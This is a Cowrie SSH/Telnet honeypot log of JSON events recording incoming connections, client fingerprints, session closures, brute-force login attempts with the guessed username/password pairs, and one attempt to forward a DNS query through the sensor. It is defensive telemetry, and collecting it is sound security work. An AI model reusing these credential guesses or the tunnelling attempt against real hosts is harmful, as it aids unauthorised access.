{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:12.825141Z","src_ip":"87.251.64.176","session":"9845b033e70c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:13.114089Z","src_ip":"87.251.64.176","session":"9845b033e70c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:13.213752Z","session":"9845b033e70c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:13.311583Z","src_ip":"87.251.64.176","session":"9845b033e70c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:13.410997Z","src_ip":"87.251.64.176","session":"9845b033e70c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":42134,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e3308d1790b","protocol":"ssh","message":"New connection: 125.31.2.160:42134 (10.17.0.5:22) [session: 4e3308d1790b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:13.477869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:13.482910Z","src_ip":"125.31.2.160","session":"4e3308d1790b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.02848768234253,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:13.676526Z","src_ip":"172.233.212.110","session":"2431c142f2b4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:13.700841Z","src_ip":"125.31.2.160","session":"4e3308d1790b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.57018184661865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:13.771307Z","src_ip":"172.233.212.110","session":"919950741ca9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.25447368621826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:13.843797Z","src_ip":"172.233.212.110","session":"b2dfd1a233ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":59268,"dst_ip":"10.17.0.5","dst_port":23,"session":"39192907f14a","protocol":"telnet","message":"New connection: 139.162.207.207:59268 (10.17.0.5:23) [session: 39192907f14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:14.091005Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kavya@123","message":"login attempt [root/Kavya@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:14.612264Z","src_ip":"125.31.2.160","session":"4e3308d1790b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:15.832992Z","src_ip":"125.31.2.160","session":"4e3308d1790b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":59282,"dst_ip":"10.17.0.5","dst_port":23,"session":"30e70a3a60f1","protocol":"telnet","message":"New connection: 139.162.207.207:59282 (10.17.0.5:23) [session: 30e70a3a60f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:16.946820Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":35972,"dst_ip":"10.17.0.5","dst_port":23,"session":"28ac369ea0c5","protocol":"telnet","message":"New connection: 172.233.212.110:35972 (10.17.0.5:23) [session: 28ac369ea0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:18.985806Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34202,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3be63b2efec","protocol":"ssh","message":"New connection: 159.203.92.129:34202 (159.203.135.109:22) [session: e3be63b2efec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:24.643126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:24.648355Z","src_ip":"159.203.92.129","session":"e3be63b2efec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:24.653492Z","src_ip":"159.203.92.129","session":"e3be63b2efec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abc","message":"login attempt [ansible/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:24.666105Z","src_ip":"159.203.92.129","session":"e3be63b2efec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:25.673010Z","src_ip":"159.203.92.129","session":"e3be63b2efec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":36338,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd7fbae7b486","protocol":"telnet","message":"New connection: 172.233.212.110:36338 (10.17.0.5:23) [session: fd7fbae7b486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:26.163483Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":36350,"dst_ip":"10.17.0.5","dst_port":23,"session":"9431ef21bdc3","protocol":"telnet","message":"New connection: 172.233.212.110:36350 (10.17.0.5:23) [session: 9431ef21bdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:27.535488Z"}
{"eventid":"cowrie.session.closed","duration":32.12606954574585,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:27.903608Z","src_ip":"172.233.212.110","session":"01c9d680451a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":36352,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c9042162983","protocol":"telnet","message":"New connection: 172.233.212.110:36352 (10.17.0.5:23) [session: 7c9042162983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:29.769055Z"}
{"eventid":"cowrie.session.closed","duration":36.97801661491394,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:29.792285Z","src_ip":"139.162.207.207","session":"a3560cc8a3c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.634687185287476,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:30.377798Z","src_ip":"139.162.207.207","session":"cb16ab148dfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":36360,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bedc2cda4a0","protocol":"telnet","message":"New connection: 172.233.212.110:36360 (10.17.0.5:23) [session: 0bedc2cda4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:31.577594Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50208,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba4b21e6e296","protocol":"telnet","message":"New connection: 172.233.212.110:50208 (10.17.0.5:23) [session: ba4b21e6e296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:39.381408Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50218,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a301323637c","protocol":"telnet","message":"New connection: 172.233.212.110:50218 (10.17.0.5:23) [session: 1a301323637c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:39.610910Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":51056,"dst_ip":"10.17.0.5","dst_port":23,"session":"56037da7c984","protocol":"telnet","message":"New connection: 139.162.207.207:51056 (10.17.0.5:23) [session: 56037da7c984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:42.189570Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":60404,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d520b29718a","protocol":"ssh","message":"New connection: 80.94.92.182:60404 (10.17.0.5:22) [session: 8d520b29718a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:42.839690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:42.898263Z","src_ip":"80.94.92.182","session":"8d520b29718a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:43.083857Z","src_ip":"80.94.92.182","session":"8d520b29718a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.830331802368164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:43.642538Z","src_ip":"209.126.87.217","session":"4405b821e3d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jibs","password":"jibs","message":"login attempt [jibs/jibs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:44.145733Z","src_ip":"80.94.92.182","session":"8d520b29718a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47078,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca03d58cf2bf","protocol":"telnet","message":"New connection: 172.233.212.110:47078 (10.17.0.5:23) [session: ca03d58cf2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:44.581967Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47088,"dst_ip":"10.17.0.5","dst_port":23,"session":"dde3b8ab4d05","protocol":"telnet","message":"New connection: 172.233.212.110:47088 (10.17.0.5:23) [session: dde3b8ab4d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:44.606761Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":46756,"dst_ip":"10.17.0.5","dst_port":23,"session":"15fe7bfccfdf","protocol":"telnet","message":"New connection: 139.162.207.207:46756 (10.17.0.5:23) [session: 15fe7bfccfdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:45.338318Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:45.397020Z","src_ip":"80.94.92.182","session":"8d520b29718a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47092,"dst_ip":"10.17.0.5","dst_port":23,"session":"53f7ed7e90b3","protocol":"telnet","message":"New connection: 172.233.212.110:47092 (10.17.0.5:23) [session: 53f7ed7e90b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:47.048551Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":49076,"dst_ip":"159.203.135.109","dst_port":23,"session":"5952dc1dc7bf","protocol":"telnet","message":"New connection: 209.126.87.217:49076 (159.203.135.109:23) [session: 5952dc1dc7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:47.773795Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":46768,"dst_ip":"10.17.0.5","dst_port":23,"session":"da51019975d0","protocol":"telnet","message":"New connection: 139.162.207.207:46768 (10.17.0.5:23) [session: da51019975d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:48.145609Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47102,"dst_ip":"10.17.0.5","dst_port":23,"session":"441ef25459cf","protocol":"telnet","message":"New connection: 172.233.212.110:47102 (10.17.0.5:23) [session: 441ef25459cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:49.107676Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47104,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e17c95afa20","protocol":"telnet","message":"New connection: 172.233.212.110:47104 (10.17.0.5:23) [session: 3e17c95afa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:49.656518Z"}
{"eventid":"cowrie.session.closed","duration":33.210485219955444,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:52.196209Z","src_ip":"172.233.212.110","session":"28ac369ea0c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52898,"dst_ip":"159.203.135.109","dst_port":23,"session":"c43bcd813432","protocol":"telnet","message":"New connection: 209.126.87.217:52898 (159.203.135.109:23) [session: c43bcd813432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:52.731936Z"}
{"eventid":"cowrie.session.closed","duration":36.08545708656311,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:53.032063Z","src_ip":"139.162.207.207","session":"30e70a3a60f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":53386,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e91cfaad2c","protocol":"telnet","message":"New connection: 172.233.212.110:53386 (10.17.0.5:23) [session: 01e91cfaad2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:53.245318Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":53394,"dst_ip":"10.17.0.5","dst_port":23,"session":"5931eb6fc761","protocol":"telnet","message":"New connection: 172.233.212.110:53394 (10.17.0.5:23) [session: 5931eb6fc761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:54.448948Z"}
{"eventid":"cowrie.session.closed","duration":41.958457946777344,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:56.049348Z","src_ip":"139.162.207.207","session":"39192907f14a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":53398,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbf44e8cb821","protocol":"telnet","message":"New connection: 172.233.212.110:53398 (10.17.0.5:23) [session: dbf44e8cb821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:56.439924Z"}
{"eventid":"cowrie.session.closed","duration":31.10768485069275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:57.271038Z","src_ip":"172.233.212.110","session":"fd7fbae7b486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.275928020477295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:58.811282Z","src_ip":"172.233.212.110","session":"9431ef21bdc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":53410,"dst_ip":"10.17.0.5","dst_port":23,"session":"47cbf078c782","protocol":"telnet","message":"New connection: 172.233.212.110:53410 (10.17.0.5:23) [session: 47cbf078c782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:00.757266Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":53412,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed93354963c3","protocol":"telnet","message":"New connection: 172.233.212.110:53412 (10.17.0.5:23) [session: ed93354963c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:01.109849Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":53414,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9275a4fa088","protocol":"telnet","message":"New connection: 172.233.212.110:53414 (10.17.0.5:23) [session: f9275a4fa088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:01.549221Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":59852,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f9e2ad06217","protocol":"telnet","message":"New connection: 172.233.212.110:59852 (10.17.0.5:23) [session: 9f9e2ad06217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:02.439210Z"}
